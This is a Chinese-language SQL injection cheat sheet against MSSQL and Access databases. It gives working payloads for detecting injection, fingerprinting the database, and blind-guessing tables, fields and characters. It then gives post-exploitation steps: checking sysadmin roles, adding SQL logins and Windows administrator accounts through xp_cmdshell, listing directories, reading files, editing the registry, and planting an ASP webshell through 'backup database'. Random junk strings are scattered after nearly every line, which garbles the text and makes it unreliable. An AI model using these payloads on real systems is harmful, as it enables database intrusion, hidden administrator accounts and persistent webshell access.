1.判断是否有注入;and 1=1 ;and 1=2 HN\9d
2.初步判断是否是mssql ;and user>0 k/>k&^?
W 5-=,t
3.注入参数是字符'and [查询条件] and ''=' EsdA%`
d4~!d>{n|c
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ZjWI~"]
/>H9T[3=
5.判断数据库系统 #}o*1
}5`Kn}rY
;and (select count(*) from sysobjects)>0 mssql s~3"*,3@
{>9vm!<[*\
;and (select count(*) from msysobjects)>0 access `2G 0B@
^)TZHc2a[
DKR2b`J
Yf1?3(0O
6.猜数据库 ;and (select Count(*) from [数据库名])>0 >o.4sN@
K1Mn_)%
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 09/Mg
&=~Jw5WK
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 tmKHT
#mFIZMTRd
9.(1)猜字段的ascii值(access) J.$N<.
EjrK.|I0
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 W|4:3c4
R10R,*6>
(2)猜字段的ascii值(mssql) ;O+=
6>W
nH_M#
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 )1N~-VuT
Dr)B0]KG
10.测试权限结构(mssql) ',P$m&z
h:xvnyaI
<v%Q|r
0-6rIdDTM
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- /V0[Urc@
Fsz;T;
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Z):q 1:y
MR}=tO
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- &sJ -&7YZ
\8g'v@$wG
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- vhvFBx0
}Y:V&4DW
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- %g: 6QS|
shKTj5s?
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- $Y,y~4I
h/k00hD60
;and 1=(select IS_MEMBER('db_owner'));-- 1
8%+ Hy=
GCZx-zD~>
9(6f:D
3N257]
11.添加mssql和系统的帐户 VYbH:4K@%
^,}1^?*
;exec master.dbo.sp_addlogin username;-- zcGmru|k
;exec master.dbo.sp_password null,username,password;-- g8kS}7/
zncKd{Q\tP
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- u.;l=tzz
5If.[j{
;exec master.dbo.xp_cmdshell 'net user username password 4K5
q#=HBSyM
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 5/8=Do](
Y
\ Gx|
;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2)hfYLi
Y O&@
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- `3g5n:"g\
}k;wSp[3
GHY+q{'#V_
ZmI0|r}QbY
12.(1)遍历目录 f*}}Az.4
"%lIB{
;create table dirs(paths varchar(100), id int) zX lcu_rc
Fs"i fn0
;insert dirs exec master.dbo.xp_dirtree 'c:\' GXG 7P,p,
9fm9xTL
;and (select top 1 paths from dirs)>0 0 30LT$&!
.+A)^A
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) _ _!LTpp
pu~b\&^G
,oykOda:|
>dx/k)~~-L
(2)遍历目录 `*6|2
e>6|# d
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- DL`8qJ'mJs
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 {7jl) x3l
X$e*s\4
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ":0u%E?s
3^[P
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 %_."JT$v{
k3K*{"z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 {]2^b )
eAmI~oku
Om^(CAp
nrHC;R.nE
13.mssql中的存储过程 aq)g&.dw?
, #=TputM
xp_regenumvalues 注册表根键, 子键 s_ t/
@R%*; )*F
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 tn#cVB3
G9NI`]k
xp_regread 根键,子键,键值名 3Q'vVNFh<
"iTjiH)Q(
;exec xp_regread <8(=Lv`)q
4GbfA
.u
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 LaO8)lqR
a*-9n-U@[k
xp_regwrite 根键,子键, 值名, 值类型, 值 ,Kl:4 Tv
<rtKPlb//
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 M!+J[q
&Ts!#OcB,
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 !m^;wkrY
Li]bU
xp_regdeletevalue 根键,子键,值名 b"WF]x|^
VwpC UW
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 n&Ckfo_D
\_WR:?l
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 - w*fS,O
PChe w3
C7ug\_,s
Vm|KL3}NRv
14.mssql的backup创建webshell G<M0KU(
hs[x\:})/
use model y_X jY
aX`uF<c9
create table cmd(str image); V:w%5'^3
+q'\rpt
insert into cmd(str) values (''); ?h6|N%U'
vof8bQ{&
backup database model to disk='c:\l.asp'; 23P&n(.
-=nk,cYn
u"q56}Q?]
&nDXn|
15.mssql内置函数 a M9v
u8T@W}FX
;and (select @@version)>0 获得Windows的版本号 o!:Z?.!
1l$2T
y+
=
;and user_name()='dbo' 判断当前系统的连接用户是不是sa (IBT|K
QuqznYSY{
;and (select user_name())>0 爆当前系统的连接用户 dpTsTU!\
I%u 2 ce
;and (select db_name())>0 得到当前连接的数据库 "Yh;3tI4*
GQ;0KIN
@oE
5JM
xRe`Duy:
16.简洁的webshell #m,H1YH
M
T/\RViG3
use model y QClq{A
x>}ml\R
create table cmd(str image); "aOs#4N
RqgN<&g?
insert into cmd(str) values (''); U xBd14-R_
b%0p<*:a/
backup database model to disk='g:\wwwtest\l.asp';